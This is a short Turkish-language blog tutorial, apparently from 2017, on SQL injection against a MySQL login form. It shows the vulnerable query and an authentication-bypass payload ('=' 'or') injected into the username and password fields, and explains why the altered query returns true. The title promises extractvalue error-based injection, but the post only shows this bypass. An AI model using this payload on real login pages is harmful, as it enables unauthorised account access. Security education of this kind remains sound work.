Mysql Error Based Injection

Thu, 07 Dec 2017 00:00:00 +0000

Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.

Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.

Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;

select * from uyeler where username='asd' and password='asd'

şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.

select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '

yukarıdaki sorgudan anlaşılacağı gibi username=’’ deki ve password=’’ deki tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.

Error Based on diaryofinjector

Mysql Error Based Injection